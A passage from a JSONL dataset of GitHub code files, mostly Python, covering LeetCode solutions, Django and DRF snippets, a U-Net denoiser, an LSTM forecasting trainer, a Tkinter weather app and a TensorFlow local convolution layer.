prices[0]\n bene = 0\n for i,v in enumerate(prices):\n if vbene:\n bene = v-imin\n return bene\ns = Solution()\nt = [7,1,5,3,6,4]\nm = [7,6,4,3,1]\nc = []\nprint(s.buy(t))\n\n\n \n\n","repo_name":"1242128273wangpeng/Leetcode-python","sub_path":"121leetcode.py","file_name":"121leetcode.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36955087127","text":"from django import template\nfrom core.models import OrderItem\nfrom django.shortcuts import get_object_or_404\n\nregister = template.Library()\n\n\n@register.filter\ndef cart_item_count(user):\n if user.is_authenticated:\n order_items = OrderItem.objects.filter(user=user)\n if order_items.exists():\n total_item = 0\n for order_item in order_items:\n total_item = total_item + order_item.quantity\n return total_item\n return 0\n","repo_name":"JawadArman96/e-Commerce-site","sub_path":"core/templatetags/cart_template_tags.py","file_name":"cart_template_tags.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70238025479","text":"# 스탠다드\nfrom enum import Enum\nfrom typing import Union\n\n# 서드파티\nfrom pymongo.collection import Collection\n\n\"\"\"\n 서버 부하를 줄이기 위하여 봇 설정값을 하나의 문서로 관리하는 컬렉션\n DB의 설정값을 웹에서 직접 변경하는 경우 renew_config를 실행해야 한다.\n\"\"\"\n\nclass Keys(Enum):\n Token = 'token'\n Guilds = 'guilds'\n Thumbnail = 'thumbnail'\n Color = 'color'\n Birth = 'birth'\n\n\nclass Config(Collection):\n config = None\n\n def __init__(self, db, col):\n super().__init__(db, col)\n self.renew_config()\n\n def get_config(self, key: Union[Keys, str]):\n \"\"\"\n key에 해당하는 설정값을 가져온다\n :param key: (str || Keys) 가져올 설정값\n :return: 해당 설정값\n \"\"\"\n key_str = self.__get_valid_key(key)\n if not key_str:\n raise ValueError(f\"key({key}) 값이 유효하지 않습니다.\")\n\n # config 객체 없으면 가져오기\n if not Config.config:\n self.renew_config()\n\n return Config.config[key_str]\n\n def set_config(self, key, value):\n \"\"\"\n 설정값을 추가하거나 변경한다.\n :param key: (str || Keys) 해당 설정필드\n :param value: 설정값\n :return: None\n \"\"\"\n if not Config.config:\n self.renew_config()\n\n Config.config[key] = value\n\n # DB에 반영\n self.update_one({'name': 'config'}, {'$set': Config.config})\n\n def renew_config(self):\n \"\"\"\n DB에서 설정값을 다시 불러들인다\n :return: None\n \"\"\"\n my_query = {'name': 'config'}\n my_result = {'_id': False, 'name': False} # _id, name 필드 빼고 전부\n\n Config.config = self.find_one(my_query, my_result)\n\n def __get_valid_key(self, key):\n \"\"\"\n Keys 객체와 호환이 되는지 확인한다.\n :param key: (str || Keys) 확인할 키 (config 필드명)\n :return: (str) 유효한 키 문자열, 유효하지 않으면 None\n \"\"\"\n if isinstance(key, Keys):\n key_str = key.value\n elif isinstance(key, str):\n key_str = key\n else:\n return None\n\n valid_keys = [key.value for key in Keys]\n return key_str if key_str in valid_keys else None\n\n","repo_name":"Cotidie/DiscordBot","sub_path":"lib/db/collections/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74432454278","text":"class Solution(object):\n def maximalRectangle(self, matrix):\n toreturn = 0\n if not matrix:\n return 0\n m = [0]*len(matrix[0])\n for i in xrange(len(matrix)):\n for j in xrange(len(matrix[0])):\n if matrix[i][j] == '1':\n m[j] += 1\n else:\n m[j] = 0\n toreturn = max(toreturn,self.largestRectangleArea(m))\n return toreturn\n \n def largestRectangleArea(self, height):\n result = 0\n stack = [[0,-1]]\n for i in xrange(len(height)):\n if height[i] >= stack[-1][0]:\n stack.append([height[i],i])\n else:\n while height[i] < stack[-1][0]:\n result = max(result,stack[-1][0]*(i-stack[-1][1]))\n temp = stack.pop()\n stack.append([height[i],temp[1]])\n for i in xrange(len(stack)):\n result = max(result,stack[i][0]*(len(height)-stack[i][1]))\n return result\n","repo_name":"beigerice/LeetCode","sub_path":"85.py","file_name":"85.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18209827509","text":"from ruff.utils.singleton import singleton\n\n\n@singleton\nclass State(object):\n \"\"\" Internal module state object \"\"\"\n\n def __init__(self):\n self.bindings = []\n self.path = None\n self.servers = []\n self.server_pids = []\n self.commands = []\n self.command_pids = []\n\n def clear(self):\n \"\"\" Clear the held set of patter / builder bindings \"\"\"\n self.bindings = []\n self.path = None\n self.servers = []\n self.server_pids = []\n self.commands = []\n self.command_pids = []\n\n @property\n def observers(self):\n \"\"\" Yield a list of observers \"\"\"\n for binding in self.bindings:\n yield binding.observer\n","repo_name":"shadowmint/ruff","sub_path":"src/ruff/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4122504550","text":"from rest_framework import serializers\nfrom .models import Character\n\nclass CharacterSerializer(serializers.ModelSerializer):\n character_url = serializers.ModelSerializer.serializer_url_field(\n view_name='character_detail'\n )\n\n class Meta:\n model = Character\n fields = ('id','name', 'character_url', 'franchise', 'artist', 'source_url', 'image_url')","repo_name":"MagicWishbone6/chibichibibangbang","sub_path":"chibichibibangbang/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"27735233253","text":"\"\"\"\nCustom Sort Order\nGiven a list of strings and a list of characters that specifies a custom sort ordering,\nreturn true if the strings are sorted in the correct order otherwise return false\n\nExample:\nStrings: [\"cb\", \"ca\", \"bc\", \"ba\"] Order: ['c', 'b', 'a'] -> True\nStrings: [\"bc\", \"ab\", \"ac\", \"ca\"] Order: ['c', 'b', 'a'] -> False\nStrings [\"catt\", \"cat\", \"bat\"] Order ['c', 'b', 'a', 't'] -> False\n\"\"\"\n\ndef check_ordering(arr, order):\n in_order = False\n \n n = len(arr)-1\n order_dict = {}\n for v, k in enumerate(order):\n order_dict[k] = v\n \n for i in range(n):\n s1 = arr[i]\n s2 = arr[i+1]\n \n len_s1 = len(s1)\n len_s2 = len(s2)\n \n min_len = min(len_s1, len_s2)\n \n if s1[0:min_len] == s2[0:min_len] and len_s1 > len_s2:\n return False\n \n for j in range(min_len):\n c1 = s1[j]\n c2 = s2[j]\n \n if order_dict[c1] <= order_dict[c2]:\n in_order = True\n else:\n in_order = False\n break\n \n return in_order\n\n\ndef sort_with_ordering(arr, order):\n order_dict = {}\n for v, k in enumerate(order):\n order_dict[k] = v\n\n def compare(x, y):\n len_x = len(x)\n len_y = len(y)\n min_len = min(len_x, len_y)\n if x[0:min_len] == y[0:min_len] and len_x > len_y:\n return 1\n for j in range(min_len):\n if order_dict[x[j]] < order_dict[y[j]]:\n return -1\n elif order_dict[x[j]] == order_dict[y[j]]:\n return 0\n else:\n return 1\n\n return sorted(arr, cmp=compare)\n \nprint(check_ordering([\"cb\", \"ca\", \"bc\", \"ba\"], ['c', 'b', 'a']))\nprint(check_ordering([\"bc\", \"ab\", \"ac\", \"ca\"], ['c', 'b', 'a']))\nprint(check_ordering([\"catt\", \"cat\", \"bat\"], ['c', 'b', 'a', 't']))\n\nprint(sort_with_ordering([\"cb\", \"ca\", \"bc\", \"ba\"], ['c', 'b', 'a']))\nprint(sort_with_ordering([\"bc\", \"ab\", \"ac\", \"ca\"], ['c', 'b', 'a']))\nprint(sort_with_ordering([\"catt\", \"cat\", \"bat\"], ['c', 'b', 'a', 't']))\n","repo_name":"natemurthy/misc","sub_path":"toy-problems/2019-01-18/question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"16331464973","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\nfrom models.convs import common\r\nfrom torchvision.models import vgg19\r\n\r\ndef make_model(opt):\r\n return UNet(opt)\r\n\r\nclass BasicBlock(nn.Module):\r\n def __init__(self, in_ch, out_ch, bn=False):\r\n super().__init__()\r\n \r\n conv = nn.Conv2d(in_ch, out_ch, 3, padding=1)\r\n batch_norm = nn.BatchNorm2d(out_ch)\r\n relu = nn.ReLU(inplace=True)\r\n if bn : \r\n self.layer = nn.Sequential(conv, batch_norm, relu)\r\n else : \r\n self.layer = nn.Sequential(conv, relu)\r\n\r\n def forward(self, x):\r\n out = self.layer(x)\r\n return out\r\n\r\nclass UNet(nn.Module):\r\n def __init__(self, opt, block=BasicBlock):\r\n super(UNet, self).__init__()\r\n self.rev = False\r\n self.nc = opt.n_channels\r\n self.style_stage = opt.style_stage\r\n self.bn = opt.bn or opt.sagnet\r\n self.sagnet = opt.sagnet\r\n self.dc_input = opt.dc_input\r\n\r\n self.inc = down(block,self.nc,64,2,downsample=False,bn=self.bn)\r\n\r\n self.down1 = down(block,64,128,3,bn=self.bn)\r\n self.down2 = down(block,128,256,3,bn=self.bn)\r\n self.down3 = down(block,256,512,6,bn=self.bn)\r\n self.up1 = up(block,512,256,3,bn=self.bn)\r\n self.up2 = up(block,256,128,3,bn=self.bn)\r\n self.up3 = up(block,128,64,3,bn=self.bn)\r\n\r\n # self.down1 = down(block,64,128,3,bn=self.bn)\r\n # self.down2 = down(block,128,256,6,bn=self.bn)\r\n # self.up1 = up(block,256,128,3,bn=self.bn)\r\n # self.up2 = up(block,128,64,3,bn=self.bn)\r\n\r\n self.outc = nn.Conv2d(64,self.nc,1)\r\n\r\n\r\n def forward(self, inx):\r\n\r\n x = self.inc(inx)\r\n\r\n self.down = []\r\n for i, layer in enumerate([self.down1, self.down2, self.down3, self.up1, self.up2, self.up3]):\r\n if i<3: #down\r\n self.down.append(x) #down=[d1,d2,d3]\r\n x = layer(x)\r\n else: #up 345-->210\r\n x = layer(x,self.down[5-i]) #i:[3,4,5]-->down:[d3,d2,d1]\r\n if i+1==self.style_stage:\r\n feature=x\r\n \r\n out = self.outc(x)\r\n out = out + inx\r\n \r\n if self.rev : \r\n return out, feature\r\n else : \r\n return out\r\n\r\n def style_params(self):\r\n params=[]\r\n layers=[self.inc, self.down1, self.down2, self.down3, self.up1, self.up2, self.up3, self.outc]\r\n if self.dc_input == 'feature':\r\n for i, layer in enumerate(layers):\r\n if i <= self.style_stage and self.sagnet:\r\n for m in layer.modules():\r\n if isinstance(m, nn.BatchNorm2d):\r\n params += [p for p in m.parameters()]\r\n elif i <= self.style_stage: \r\n params += [p for p in layer.parameters()]\r\n else : \r\n pass\r\n else : #all layers\r\n for i, layer in enumerate(layers):\r\n params += [p for p in layer.parameters()]\r\n\r\n return params\r\n\r\nclass down(nn.Module):\r\n def __init__(self, block, in_ch, out_ch, rep, downsample=True, bn=False):\r\n super(down, self).__init__()\r\n layers = []\r\n if downsample: \r\n layers.append(nn.AvgPool2d(2))\r\n layers.append(block(in_ch, out_ch, bn=bn))\r\n\r\n for _ in range(rep-1):\r\n layers.append(block(out_ch, out_ch, bn=bn))\r\n\r\n self.conv = nn.Sequential(*layers)\r\n \r\n def forward(self, x):\r\n out = self.conv(x)\r\n return out\r\n\r\n\r\nclass up(nn.Module):\r\n def __init__(self, block, in_ch, out_ch, rep, bn=False):\r\n super(up, self).__init__()\r\n self.up = nn.ConvTranspose2d(in_ch, out_ch, 2, stride=2)\r\n layers = []\r\n for _ in range(rep):\r\n layers.append(block(out_ch,out_ch,bn=bn))\r\n\r\n self.conv = nn.Sequential(*layers)\r\n\r\n def forward(self, x1, x2):\r\n x1 = self.up(x1)\r\n diffY = x2.size()[2] - x1.size()[2]\r\n diffX = x2.size()[3] - x1.size()[3]\r\n\r\n x1 = F.pad(x1, (diffX // 2, diffX - diffX//2,\r\n diffY // 2, diffY - diffY//2))\r\n x = x2 + x1\r\n out = self.conv(x)\r\n return out\r\n","repo_name":"jaayeon/ct-denoising-DA","sub_path":"models/unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"33843577653","text":"class SMS_store :\r\n\r\n def __init__( self, mess = (True,0,0,\"\") ) :\r\n if mess == (True,0,0,\"\") :\r\n self.msgs = []\r\n else:\r\n self.msgs = [ mess ]\r\n\r\n def __str__( self ):\r\n S = \"------------------------------\\n\"\r\n for mess in self.msgs :\r\n S += \"( {0}, {1} :\\n {2} )\\n\\n\".format( mess[1], mess[2], mess[3] ) \r\n S += \"------------------------------\\n\"\r\n return S\r\n\r\n def message_count( self ) :\r\n # Returns the number of sms messages in my_inbox\r\n return len( self.msgs )\r\n\r\n def add_new_arrival( self, from_number, time_arrived, text_of_SMS ) :\r\n # Makes new SMS tuple, inserts it after other messages\r\n # in the store. When creating this message, its\r\n # has_been_viewed status is set False.\r\n self.msgs.append( ( False, from_number, time_arrived, text_of_SMS ) )\r\n\r\n def get_unread_indexes( self ) :\r\n # Returns list of indexes of all not-yet-viewed SMS messages\r\n idx = []\r\n for k in range( 0, len( self.msgs ) ) :\r\n if not( self.msgs[k][0] ) :\r\n idx.append( k )\r\n return idx\r\n\r\n def delete( self, idx ) :\r\n # Delete the message at index i\r\n if idx < 0 or idx >= self.message_count() :\r\n self.msgs.pop(idx)\r\n\r\n def get_message( self, idx ) :\r\n # Return (from_number, time_arrived, text_of_sms) for message[i]\r\n # Also change its state to \"has been viewed\".\r\n # If there is no message at position i, return None\r\n if idx < 0 or idx >= self.message_count() :\r\n return \"None\"\r\n else :\r\n import copy\r\n mess = copy.deepcopy( self.msgs[idx] )\r\n if not( mess[0] ) :\r\n up_mess = ( True, mess[1], mess[2], mess[3] )\r\n self.msgs.pop(idx)\r\n self.msgs.insert( idx, up_mess )\r\n return ( mess[1], mess[2], mess[3] )\r\n\r\n def clear( self ) :\r\n # Delete all messages from inbox\r\n for k in range( 0, len( self.msgs ) ) :\r\n self.msgs.pop()\r\n\r\nmess1 = ( False, 123456789, 12.36, \"prova\" )\r\n\r\nmy_inbox = SMS_store()\r\n\r\nmy_inbox.add_new_arrival( mess1[1], mess1[2], mess1[3] )\r\nmy_inbox.add_new_arrival( 987654321, 23.41, \"prova due\" )\r\nprint( my_inbox.message_count() )\r\n\r\nprint( my_inbox.get_unread_indexes() )\r\n\r\nprint( my_inbox.get_message( 0 ) )\r\n\r\nprint( my_inbox.get_unread_indexes() )\r\nmy_inbox.clear()","repo_name":"BarbaraGiunti/Py-tonici","sub_path":"Alberto_Python_11/exe_11.1.12_6.py","file_name":"exe_11.1.12_6.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4852573398","text":"from keras.models import Sequential\nfrom keras.layers import Dense, LSTM\nfrom keras.callbacks import EarlyStopping\nimport matplotlib.pyplot as plt\nfrom pandas import DataFrame\nfrom numpy import reshape, array, sqrt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error\nfrom modules.logs.loggers import Logger\nfrom numpy import arange, append\n\n\nclass ForecastingTrainer:\n _model = None\n _scaler = None\n\n @classmethod\n def setup_lstm_neuronal_network(\n cls,\n units: int,\n look_back: int,\n activation: str = \"tanh\",\n loss: str = \"mean_squared_error\", #mae\n metrics: list = [\"mse\", \"mae\"], #Use r2_score from keras as well https://stackoverflow.com/questions/45250100/kerasregressor-coefficient-of-determination-r2-score\n ):\n cls._model = Sequential()\n cls._model.add(LSTM(units, input_shape=(1, look_back), activation=activation))\n cls._model.add(Dense(1))\n cls._model.compile(loss=loss, optimizer=\"adam\", metrics=metrics)\n \n @classmethod\n def preprocessing(cls, data: DataFrame,look_back: int, training_len: float) -> dict:\n \"\"\"Function used to preprocess the raw data. return a dataset for training and\n another for testing\n :param data: dataframe with the data\n :type data: DataFrame\n :param look_back: _description_\n :type look_back: int\n :param training_len: fraction of the data to be used on the training stage\n :type training_len: float\n :return: dictionary with the preprocessed data (training and test) in the\n following format:\n {\n \"training_dataset\": {\"x\": train_data_in_x-axis, \"y\": train_data_in_y-axis},\n \"test_dataset\": {\"x\": test_data_in_x-axis, \"y\":test_data_in_y-axis}\n }\n :rtype: dict\n \"\"\"\n # convert daframe in a numpy array\n df = data.values.astype(\"float32\")\n\n # normalize the dataset\n cls._scaler = MinMaxScaler(feature_range=(0, 1))\n df = cls._scaler.fit_transform(df)\n\n # split into train and test sets\n train_size = int(len(data) * training_len)\n train, test = df[0:train_size, :], df[train_size : len(df), :]\n\n # reshape into X=t and Y=t+1\n train_x, train_y = cls._convert_to_matrix(train, look_back)\n test_x, test_y = cls._convert_to_matrix(test, look_back)\n\n # reshape input to be [samples, time steps, features]\n train_x = reshape(train_x, (train_x.shape[0], 1, train_x.shape[1]))\n test_x = reshape(test_x, (test_x.shape[0], 1, test_x.shape[1]))\n\n return {\n \"training_dataset\": {\"x\":train_x, \"y\":train_y}, \n \"test_dataset\": {\"x\":test_x, \"y\":test_y}\n }\n\n @classmethod\n def fit_model(cls, data: dict, epochs: int, batch_size: int, verbose=0, patience=10) -> dict:\n try:\n history = cls._model.fit(\n data.get(\"training_dataset\").get(\"x\"),\n data.get(\"training_dataset\").get(\"y\"),\n epochs=epochs,\n batch_size=batch_size,\n validation_data=(data.get(\"test_dataset\").get(\"x\"), data.get(\"test_dataset\").get(\"y\")),\n callbacks=[EarlyStopping(monitor=\"val_loss\", patience=patience)],\n verbose=verbose,\n shuffle=False\n )\n\n train_predict = cls._model.predict(data.get(\"training_dataset\").get(\"x\"), verbose=verbose)\n test_predict = cls._model.predict(data.get(\"test_dataset\").get(\"x\"), verbose=verbose)\n \n # invert predictions\n training_results = {\n \"prediction\": cls._scaler.inverse_transform(train_predict),\n \"original_data\": cls._scaler.inverse_transform([data.get(\"training_dataset\").get(\"y\")])\n }\n \n testing_results = {\n \"prediction\": cls._scaler.inverse_transform(test_predict),\n \"original_data\": cls._scaler.inverse_transform([data.get(\"test_dataset\").get(\"y\")])\n }\n \n # Vector that will be used to perform the next prediction\n next_input_vector = append(data.get(\"test_dataset\").get(\"x\")[-1].reshape(-1),test_predict[-1])\n \n # Getting scores from model evaluation\n scores = cls._model.evaluate(\n data.get(\"test_dataset\").get(\"x\"), \n data.get(\"test_dataset\").get(\"y\"),\n batch_size = batch_size,\n verbose=verbose\n )\n\n # Getting performance metrics\n training_rmse = cls._get_rsme(training_results)\n test_rmse = cls._get_rsme(testing_results)\n \n result = {\n \"status\": \"success\",\n \"history\": history,\n \"scores\": scores,\n \"training_results\": training_results,\n \"test_results\": testing_results,\n \"rmse\": {\"training\": training_rmse,\"test\": test_rmse},\n \"next_input_vector\": next_input_vector[1:]\n }\n return result\n\n except Exception as e:\n result = {\"status\": \"fail\", \"message\": e}\n return result\n \n @classmethod\n def get_model(cls) -> Sequential:\n return cls._model\n \n @classmethod\n def get_scaler(cls) -> MinMaxScaler:\n return cls._scaler\n \n @classmethod\n def _get_rsme(cls, data: dict) -> dict:\n original_data = data.get(\"original_data\")\n prediction = data.get(\"prediction\")\n return sqrt(mean_squared_error(original_data[0], prediction[:,0]))\n \n @staticmethod\n def _convert_to_matrix(dataset, look_back=1):\n data_x, data_y = [], []\n for i in range(len(dataset)-look_back-1):\n a = dataset[i:(i+look_back), 0]\n data_x.append(a)\n data_y.append(dataset[i + look_back, 0])\n return array(data_x), array(data_y)\n \n \n @classmethod\n def search_grid(cls, data: DataFrame) -> dict:\n\n training_size = 0.7\n epochs = 100\n batch_size_array = [4, 8, 16, 32]\n look_back_array = arange(3,21, 4)\n units_array = arange(60, 101, 10)\n\n # TODO Improve performance metrics\n Logger.put_log(\"Searching the best parameters ...\")\n\n scores = []\n parameters = {}\n iteration = 0\n\n for look_back in look_back_array:\n for units in units_array:\n for batch_size in batch_size_array:\n \n Logger.put_log(f\"* Setting neuronal network\")\n ForecastingTrainer.setup_lstm_neuronal_network(units, look_back)\n\n Logger.put_log(\"* Preprocesing data\")\n training_data = ForecastingTrainer.preprocessing(data, look_back, training_size)\n\n Logger.put_log(\"* Performing training process\")\n results = ForecastingTrainer.fit_model(training_data, epochs, batch_size)\n \n scores.append(results.get(\"scores\")[1])\n parameters[iteration] = {\n \"look_back\": look_back,\n \"units\": units,\n \"batch_size\": batch_size,\n \"training_size\": training_size\n }\n Logger.put_log(f\"i: {iteration}, parameters: {parameters.get(iteration)}\")\n Logger.put_log(f\"MSE: {results.get('scores')[1]}\")\n Logger.put_log(f\"RMSE: {results.get('rmse')}\")\n iteration += 1\n \n best_parameters = parameters.get(scores.index(min(scores)))\n Logger.put_log(f\"Best parameters {best_parameters}\")\n \n return best_parameters\n \n \n @staticmethod\n def plot_result(training_results: dict, test_results: dict):\n plt.figure(figsize=(20,10))\n plt.subplot(1,2,1)\n plt.title(\"Training data\")\n plt.plot (training_results.get(\"prediction\"),\"o--\", label = \"Prediction\")\n plt.plot(training_results.get(\"original_data\")[0],\"x--\", label = \"original\")\n plt.legend()\n plt.grid()\n \n plt.subplot(1,2,2)\n plt.title(\"Test data\")\n plt.plot (test_results.get(\"prediction\"),\"o--\", label = \"Prediction\")\n plt.plot(test_results.get(\"original_data\")[0],\"x--\", label = \"Original\")\n plt.legend()\n plt.grid()\n plt.show()","repo_name":"JhonLopera31/analytic_component_zc","sub_path":"analytics/modules/forecasting/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":8532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28556535979","text":"#!/usr/bin/env python3\nfrom subprocess import call\nimport time\nimport Adafruit_BBIO.GPIO as GPIO\n\n# This starts an infinite while loop so we can just keep on reading temps\nwhile True:\n # this opens the file that the kernal writes too\n with open(\"/sys/class/i2c-adapter/i2c-2/2-0048/hwmon/hwmon0/temp1_input\", 'r') as f:\n # this chunk converts it from the base value to F\n milliC = f.readline(-1)\n milliC = int(milliC)\n # print(milliC)\n normalC = milliC / 1000\n # print(normalC)\n normalF = (normalC * (9 / 5) + 32)\n print(\"Bottom Sensor: \", normalF)\n f.close()\n# with open(\"/sys/class/i2c-adapter/i2c-2/2-0049/hwmon/hwmon0/temp1_input\", 'r') as f:\n# milliC = f.readline(-1)\n# milliC = int(milliC)\n# # print(milliC)\n# normalC = milliC / 1000\n# # print(normalC)\n# normalF = (normalC * (9 / 5) + 32)\n# print(\"Top Sensor: \", normalF)\n# f.close()\n time.sleep(1)\n","repo_name":"mannanej/ECE434Homework","sub_path":"hw04/TMP101.py","file_name":"TMP101.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26173750052","text":"#!/usr/bin/env python3\n\"\"\"Setup script\"\"\"\n\nfrom pathlib import Path\nimport re\n\nimport setuptools\n\nif __name__ == \"__main__\":\n\n # Read metadata from version.py\n with Path(\"compressed_embeddings/version.py\").open(encoding=\"utf-8\") as file:\n metadata = dict(re.findall(r'__([a-z]+)__\\s*=\\s*\"([^\"]+)\"', file.read()))\n\n # Read description from README\n with Path(Path(__file__).parent, \"README.md\").open(encoding=\"utf-8\") as file:\n long_description = file.read()\n\n _INSTALL_REQUIRES = [\n \"numpy>=1.19.5\",\n \"scikit-learn>=0.24.2\",\n \"tensorflow>=2.6.2\",\n ]\n\n _TEST_REQUIRE = [\"pytest\"]\n\n # Run setup\n setuptools.setup(\n name=\"compressed-embeddings\",\n version=metadata[\"version\"],\n classifiers=[\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.6\",\n \"Intended Audience :: Developers\",\n ],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n description=long_description.split(\"\\n\")[0],\n author=metadata[\"author\"],\n install_requires=_INSTALL_REQUIRES,\n tests_require=_TEST_REQUIRE,\n dependency_links=[],\n entry_points={\"console_scripts\": []},\n data_files=[(\".\", [\"requirements.txt\", \"README.md\"])],\n packages=setuptools.find_packages(),\n url=\"https://github.com/victor-paltz/compressed-embeddings\",\n )\n","repo_name":"victor-paltz/compressed-embeddings","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"70544582597","text":"from tkinter import messagebox\nfrom tkinter import *\nimport requests\n\n\n\n\nroot=Tk()\nroot.title(\"My Weather App\")\nroot.geometry(\"500x450\")\ndef clear():\n city_entry.delete(0, END)\n\n\ndef myweather():\n mycity=city_entry.get()\n key='ae088606657a7537989abe91de3934d9'\n url='http://api.openweathermap.org/data/2.5/weather'\n parameters= {'appid': key, 'q': mycity, 'units':'Metric'}\n result=requests.get(url, parameters)\n result1=result.json()\n location_out.config(text=str(result1['sys']['country']))\n temp_out.config(text=str(result1['main']['temp']))\n windsd_out.config(text=str(result1['wind']))\n humid_out.config(text=str(result1['main']['humidity']))\n cloudcover_out.config(text=str(result1['clouds']))\n print(result1)\n\n\n\n\ncity_text=StringVar()\ncity_entry=Entry(root, textvariable=city_text)\ncity_entry.pack()\n\nbtn=Button(root, text=\"search weather\", fg=\"black\", bg=\"red\", width=12, command=lambda :myweather()).place(x=190 , y=30)\n\n\n\nlocation_lbl = Label(root, text=\"location\", font=('bold', 15)).place(x=10, y=90)\nlocation_out= Label(root, text=\"location\", font=('bold', 15))\nlocation_out.place(x=100, y=90)\n\ntemp_lbl = Label(root, text=\"temperature \", font=('bold', 15)).place(x=10, y=135)\ntemp_out= Label(root, text=\"temperature\", font=('bold', 15))\ntemp_out.place(x=150, y=135)\n\nwindsd_lbl = Label(root, text=\"windspeed\", font=('bold', 15)).place(x=10, y=190)\nwindsd_out= Label(root, text=\"windspeed\", font=('bold', 15))\nwindsd_out.place(x=130, y=190)\n\nhumidity_lbl = Label(root, text=\"humidity\", font=('bold', 15)).place(x=10, y=250)\nhumid_out= Label(root, text=\"humidity\", font=('bold', 15))\nhumid_out.place(x=120, y=250)\n\ncloudcover_lbl = Label(root, text=\"cloudcover\", font=('bold', 15)).place(x=10, y=300)\ncloudcover_out= Label(root, text=\"cloudcover\", font=('bold', 15))\ncloudcover_out.place(x=130, y=300)\n\nextbtn=Button(root, text='exit', fg=\"yellow\", bg=\"black\", command=exit).place(x=150 , y=350)\nclearbtn=Button(root, text=\"clear\", fg=\"blue\", bg=\"skyblue\", command=clear).place(x=200 , y=350)\n\nroot.mainloop()","repo_name":"ethanl267/python-task","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10468088282","text":"import tensorflow as tf\n\ndef local2d(inputs, filters, kernel_size, strides=(1, 1), padding='SAME', kernel=None, flip_filters=False):\n \"\"\"\n Args:\n inputs: A 4-D tensor of shape\n `[batch, in_height, in_width, in_channels]`.\n kernel: A 6-D or 7-D of shape\n `[in_height, in_width, kernel_size[0], kernel_size[1], filters, in_channels]` or\n `[batch, in_height, in_width, kernel_size[0], kernel_size[1], filters, in_channels]`.\n\n Returns:\n A 4-D tensor.\n \"\"\"\n kernel_size = list(kernel_size) if isinstance(kernel_size, (tuple, list)) else [kernel_size] * 2\n strides = list(strides) if isinstance(strides, (tuple, list)) else [strides] * 2\n if strides != [1, 1]:\n raise NotImplementedError\n if padding != 'SAME':\n raise NotImplementedError\n input_shape = inputs.get_shape().as_list() # N H W C\n output_shape = input_shape[:3] + [filters] # N H W F\n kernel_shape = output_shape[1:3] + kernel_size + [filters, input_shape[-1]] # H W K K F C\n if kernel is None:\n with tf.variable_scope('local2d'):\n kernel = tf.get_variable('kernel', kernel_shape, dtype=tf.float32,\n initializer=tf.truncated_normal_initializer(stddev=0.02))\n else:\n assert kernel_shape == kernel.get_shape().as_list() or kernel_shape == kernel.get_shape().as_list()[1:]\n\n # start with ii == jj == 0 case to initialize tensor\n i = kernel_size[0] // 2\n j = kernel_size[1] // 2\n filter_h_ind = -i-1 if flip_filters else i\n filter_w_ind = -j-1 if flip_filters else j\n outputs = tf.reduce_sum(inputs[:, :, :, None, :] * kernel[..., filter_h_ind, filter_w_ind, :, :], axis=-1)\n\n for i in range(kernel_size[0]):\n filter_h_ind = -i-1 if flip_filters else i\n ii = i - (kernel_size[0] // 2)\n input_h_slice = slice(\n max(ii, 0), min(ii + output_shape[1], output_shape[1]))\n output_h_slice = slice(\n max(-ii, 0), min(-ii + output_shape[1], output_shape[1]))\n\n for j in range(kernel_size[1]):\n filter_w_ind = -j-1 if flip_filters else j\n jj = j - (kernel_size[1] // 2)\n input_w_slice = slice(\n max(jj, 0), min(jj + output_shape[2], output_shape[2]))\n output_w_slice = slice(\n max(-jj, 0), min(-jj + output_shape[2], output_shape[2]))\n # skip this case since it was done at the beginning\n if ii == jj == 0:\n continue\n inc = tf.reduce_sum(inputs[:, input_h_slice, input_w_slice, None, :] *\n kernel[..., output_h_slice, output_w_slice, filter_h_ind, filter_w_ind, :, :], axis=-1)\n # equivalent to this\n # outputs[:, output_h_slice, output_w_slice, :] += inc\n paddings = [[0, 0], [output_h_slice.start, output_shape[1] - output_h_slice.stop],\n [output_w_slice.start, output_shape[2] - output_w_slice.stop], [0, 0]]\n outputs += tf.pad(inc, paddings)\n return 